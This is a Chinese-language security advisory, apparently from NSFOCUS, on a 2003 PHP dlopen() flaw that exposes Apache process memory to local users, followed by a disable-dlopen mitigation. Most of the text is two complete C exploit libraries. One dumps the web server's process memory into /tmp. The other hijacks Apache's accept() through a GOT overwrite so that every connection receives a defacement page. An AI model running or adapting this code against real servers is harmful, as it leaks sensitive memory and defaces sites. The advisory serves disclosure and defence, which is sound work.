首页 -> 安全研究

安全研究

安全漏洞
PHP DLOpen任意Web服务内存泄露漏洞

发布日期:2003-08-13
更新日期:2003-08-19

受影响系统:
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1.0
PHP PHP 4.1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3
PHP PHP 4.0.2
PHP PHP 4.0.1
PHP PHP 4.0
描述:
BUGTRAQ  ID: 8405

PHP是一款广泛使用的脚本语言解析系统,可以方便的进行WEB开发,能嵌入到HTML中使用。

当与Apache Web服务器结合使用时PHP的dlopen函数存在问题,本地攻击者可以利用这个漏洞未授权访问敏感进程的内存信息。

如果用户可以在PHP中使用dlopen()函数,可以对Apache或者其他Web服务的内存信息进行处理,如dump进程内存到/tmp目录中,造成敏感信息泄露。

<*来源:Andrew Griffiths (andrewg@tasmail.com
  
  链接:http://lists.insecure.org/lists/fulldisclosure/2003/Aug/0671.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Andrew Griffiths (andrewg@tasmail.com)提供了如下测试方法:

/*
* http://felinemenace.org/ - Local PHP fun stuff - andrewg
* Under linux, this will dump the processes memory into /tmp. Its useful for
* several things.
*/

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/ptrace.h>
#include <errno.h>

int bd_fd=0;

void trace(char *string)
{
    char buf[32];
    
    if(bd_fd == 0) {
        sprintf(buf, "/tmp/tracez.%d", getpid());
        bd_fd = open(buf, O_WRONLY|O_CREAT|O_TRUNC|O_SYNC, 0777);
        if(bd_fd == -1) {
            system("echo fscking damnit. unable to open file > /tmp/trace");
            exit(EXIT_FAILURE);
        }
    }
    write(bd_fd, string, strlen(string));
}

void _init()
{
    char cmd[1024], cmd2[1024];
    int fd;
    unsigned int start, stop;
    FILE *f;
    
    sprintf(cmd, "Starting up: pid %d\n", getpid());
    system("cat /proc/$PPID/maps > /tmp/t");
    trace(cmd);
    
    f = fopen("/proc/self/maps", "r");
    while(fgets(cmd2, sizeof(cmd2)-1, f)) {
        trace("read: ");
        trace(cmd2);
        sscanf(cmd2,"%08x-%08x \n", &start, &stop);
        sprintf(cmd, "\nStart: %p, Stop: %p\n", start, stop);
        trace(cmd);
        sprintf(cmd, "/tmp/memdump.%p", start);
        trace("saving data to ");
        trace(cmd);
        trace("\n");
        if((fd = open(cmd, O_WRONLY|O_CREAT|O_TRUNC, 0777)) < 0) {
            trace("Unable to open file.\n");
        } else {
            write(fd, start, stop - start);
            close(fd);
        }
    }

    fclose(f);
    
    trace("\n--> should be done now\n");
    
}

void _fini()
{
    close(bd_fd);
}

=======================================================================

/*
* http://felinemenace.org - local PHP fun stuff ;) by Andrew Griffiths.
* This causes "infected" apache child processes to return a "defaced" page upon
* connection. This won't work on apache 2.x due to how it handles return codes
* from accept. oh well ;)
*/

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/ptrace.h>
#include <errno.h>

int bd_fd = 0;
int (*real_accept)(int fd, struct sockaddr *sin, socklen_t *addrlen);
int bd_init=0;
int *f;

extern int errno;

char content[] =
"HTTP/1.1 200 OK\n"
"Date: Mon, 26 May 2003 03:29:44 GMT\n"
"Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.12 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26\n"
"Connection: close\n"
"Content-Type: text/html; charset=iso-8859-1\n\n\n"

"<HTML><HEAD><TITLE>pwned!</TITLE></HEAD><BODY>woo</BODY></HTML>";

void trace(char *string)
{
    char buf[32];
    
    if(bd_fd == 0) {
        sprintf(buf, "/tmp/tracez.%d", getpid());
        bd_fd = open(buf, O_WRONLY|O_CREAT|O_TRUNC|O_SYNC, 0777);
        if(bd_fd == -1) {
            system("echo fscking damnit. unable to open file > /tmp/trace");
            exit(EXIT_FAILURE);
        }
    }
    write(bd_fd, string, strlen(string));
}

int fake_accept(int fd, struct sockaddr *addr, socklen_t *addrlen)
{
    int client_fd;

    trace("fake_accept()ing it up\n");
    
    client_fd = real_accept(fd, addr, addrlen);
    if(client_fd <= 0) return client_fd;

    write(client_fd, content, strlen(content));

    close(client_fd);

    errno = EINTR;
    return -1;
}

#ifndef RTLD_NODELETE
#define RTLD_NODELETE   0x01000 /* bits/dlfcn.h */
#endif

void load_self()
{
    trace("Locking ourselves into the process ...");
    setenv("pwned", "true", 1);
    dlopen("/tmp/libby.so", 0);
    dlopen("/tmp/libby.so", RTLD_NODELETE); /* pwned indeed :) */
    unsetenv("pwned");
    trace("done\n");
}

void _init()
{
    char cmd[1024], cmd2[1024];
    FILE *p;
    

    if(getenv("pwned")) return;
    
    sprintf(cmd, "Starting up: pid %d\n", getpid());
    system("cat /proc/$PPID/maps > /tmp/t");
    trace(cmd);
    
    if(bd_init == 0) {

        load_self();
        
        sprintf(cmd2, "objdump -R /usr/sbin/httpd | grep accept | grep JUMP\n", cmd);
        trace(cmd2);    
        p = popen(cmd2, "r");
        
        fscanf(p, "%08x ", &f);
        memset(cmd, 0, sizeof(cmd)-1);
        sprintf(cmd, "&GOT[accept]: %p\n", f);
        trace(cmd);    
        pclose(p);
        
        real_accept = *f;
        sprintf(cmd, "GOT[accept]: %p\n", real_accept);    
        trace(cmd);
        *f = fake_accept;
        sprintf(cmd, "now: GOT[accept]: %p\n", *f);
        trace(cmd);

        bd_init++;
    }
    
}

void _fini()
{
    *f = real_accept;
    trace("ack, closing!!\n");
    close(bd_fd);
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在php.ini配置文件中使用disable_function参数关闭dlopen功能,或者在php.ini配置文件中使用safe_mode。

厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:3225
严重程度:7(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障